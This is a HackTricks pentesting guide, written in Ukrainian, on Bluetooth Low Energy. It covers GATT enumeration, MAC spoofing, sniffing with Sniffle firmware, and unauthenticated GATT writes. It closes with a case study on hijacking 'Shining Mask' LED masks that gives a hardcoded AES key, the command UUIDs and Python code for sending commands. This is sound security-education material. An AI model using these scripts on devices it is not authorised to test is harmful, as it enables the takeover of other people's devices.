Pentesting BLE - Bluetooth Low Energy

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Перевірте плани підписки!

Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.

Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.

Вступ

Доступний з моменту специфікації Bluetooth 4.0, BLE використовує лише 40 каналів, що охоплюють діапазон від 2400 до 2483.5 МГц. У той же час традиційний Bluetooth використовує 79 каналів у тому ж діапазоні.

Пристрої BLE обмінюються даними, надсилаючи рекламні пакети (маячки), ці пакети транслюють наявність BLE-пристрою іншим близьким пристроям. Іноді ці маячки також передають дані.

Слухаючий пристрій, також званий центральним пристроєм, може відповісти на рекламний пакет за допомогою SCAN request, відправленого безпосередньо рекламному пристрою. Відповідь на цей скан має ту саму структуру, що й рекламний пакет, але містить додаткову інформацію, яка не помістилася в початковому рекламному запиті, наприклад повну назву пристрою.

Преамбула (байт) синхронізує частоту, тоді як чотирибайтовий access address є connection identifier, який використовується в сценаріях, коли кілька пристроїв намагаються встановити з’єднання на тих самих каналах. Далі, Protocol Data Unit (PDU) містить advertising data. Існує кілька типів PDU; найпоширеніші — ADV_NONCONN_IND та ADV_IND. Пристрої використовують тип PDU ADV_NONCONN_IND, якщо вони не приймають з’єднань, передаючи дані лише в рекламному пакеті. Пристрої використовують ADV_IND, якщо вони дозволяють з’єднання і припиняють надсилати рекламні пакети після того, як з’єднання було встановлене.

GATT

Generic Attribute Profile (GATT) визначає, як пристрій має форматувати й передавати дані. Коли ви аналізуєте attack surface пристрою BLE, ви часто зосереджуєте увагу на GATT (або GATTs), бо саме через нього відбувається запуск функціональності пристрою та як дані зберігаються, групуються й змінюються. GATT перелічує характеристики, дескриптори та сервіси пристрою в таблиці як значення 16- або 32-біт.

Характеристика — це значення даних, надіслане між центральним пристроєм та периферією. Ці характеристики можуть мати дескриптори, які надають додаткову інформацію про них. Характеристики часто групуються у сервіси, якщо вони пов’язані з виконанням певної дії.

Перерахування

hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool дозволяє встановити з’єднання з іншим пристроєм, перелічити характеристики цього пристрою та читати й записувати його атрибути.
GATTTool може запустити інтерактивну оболонку з опцією -I:

GATTTool інтерактивне використання та приклади

```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]

Write data

gatttool -i -b –char-write-req -n gatttool -b a4:cf:12:6c:b3:76 –char-write-req -a 0x002e -n $(echo -n “04dc54d9053b4307680a”|xxd -ps)

Read data

gatttool -i -b –char-read -a 0x16

Read connecting with an authenticated encrypted connection

gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c

</details>

### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing та активне керування незапарованими BLE-пристроями

Багато недорогих BLE-периферійних пристроїв не застосовують pairing/bonding. Без bonding шифрування Link Layer ніколи не вмикається, тож ATT/GATT трафік передається у відкритому вигляді. An off-path sniffer може відстежити з’єднання, декодувати GATT operations, щоб дізнатися characteristic handles and values, а будь-який сусідній хост може підключитися та replay those writes, щоб керувати пристроєм.

Sniffing with Sniffle (CC26x2/CC1352)

Hardware: a Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed with NCC Group’s Sniffle firmware.

Встановіть Sniffle та його Wireshark extcap на Linux:

Встановити Sniffle extcap (Linux)

```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```

Прошити Sonoff прошивкою Sniffle (переконайтеся, що ваш серійний пристрій вказано правильно, наприклад /dev/ttyUSB0):

pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Захопіть трафік у Wireshark через Sniffle extcap і швидко переключіться на записи, що змінюють стан, відфільтрувавши:

_ws.col.info contains "Sent Write Command"

Це підсвічує ATT Write Commands від client; handle і value часто безпосередньо відповідають діям пристрою (наприклад, записати 0x01 у buzzer/alert characteristic, 0x00 — щоб зупинити).

Sniffle CLI quick examples:

python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin також працює. На маленьких/дешевих Nordic dongles зазвичай перезаписують USB bootloader, щоб завантажити sniffer firmware, тому або зберігають окремий sniffer dongle, або потрібен J-Link/JTAG для відновлення bootloader пізніше.

Активне керування через GATT

Після того як ви визначили writable characteristic handle і value зі sniffed traffic, підключіться як будь-який central і виконайте той самий write:

За допомогою Nordic nRF Connect for Desktop (BLE app):
Виберіть nRF52/nRF52840 dongle, скануйте і підключіться до цілі.
Перегляньте GATT database, знайдіть цільову characteristic (часто має дружню назву, напр., Alert Level).
Виконайте Write зі sniffed bytes (наприклад, 01 щоб активувати, 00 щоб зупинити).
Автоматизувати на Windows з Nordic dongle, використовуючи Python + blatann:

Приклад write з Python + blatann (Windows + Nordic dongle)

```python import time import blatann

CONFIG

COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)

CONNECT

ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)

print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)

Example: write 0x01/0x00 to a known handle

for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)

print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()

</details>

### Кейс: захоплення BLE LED-масок (Shining Mask family)

Дешеві, white‑labeled BLE LED‑маски, керовані додатком “Shining Mask”, приймають write‑керування від будь‑якого nearby central без парування/bonding. Додаток спілкується по GATT з command characteristic і data characteristic; команди зашифровані AES‑ECB зі статичним ключем, захардкодженим у додатку, тоді як bulk image data передається незашифрованою.

Key UUIDs on these devices:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a

Unauthenticated GATT writes
- No pairing/bonding required. Any host can connect and write to the command UUID to change brightness, select images, start animations, etc.
- Common ops observed: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).

Static-key AES command framing
- Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
- Known static key (hex): 32672f7974ad43451d9c6c894a0e8764

Python helper to encrypt and send a command (example: set max brightness):
```python
from Crypto.Cipher import AES
from binascii import unhexlify

KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')

def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)

packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600

Потік завантаження зображення

Після зашифрованого DATS handshake сирі фрагменти записуються незашифрованими у data characteristic …960a.
Формат пакета: [len][seq][payload]. Емпірично ~100 байтів payload на пакет працює надійно.

Мінімальний псевдокод завантаження зображення

```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify char

Stream raw chunks (unencrypted) to …960a: [len][seq][payload]

seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1

Optionally signal completion if firmware expects it (e.g., DATCP)

</details>

## Операційні нотатки

- Надавайте перевагу Sonoff+Sniffle на Linux для надійного перемикання каналів і відстеження з'єднань. Тримайте запасний Nordic sniffer як резерв.
- Без pairing/bonding будь-який сусідній атакуючий може спостерігати writes і відтворювати/створювати власні для неаутентифікованих записуваних характеристик.

## Посилання

- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)

> [!TIP]
> Вивчайте та практикуйте AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Вивчайте та практикуйте GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Вивчайте та практикуйте Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Підтримайте HackTricks</summary>
>
> - Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
> - **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
>
> </details>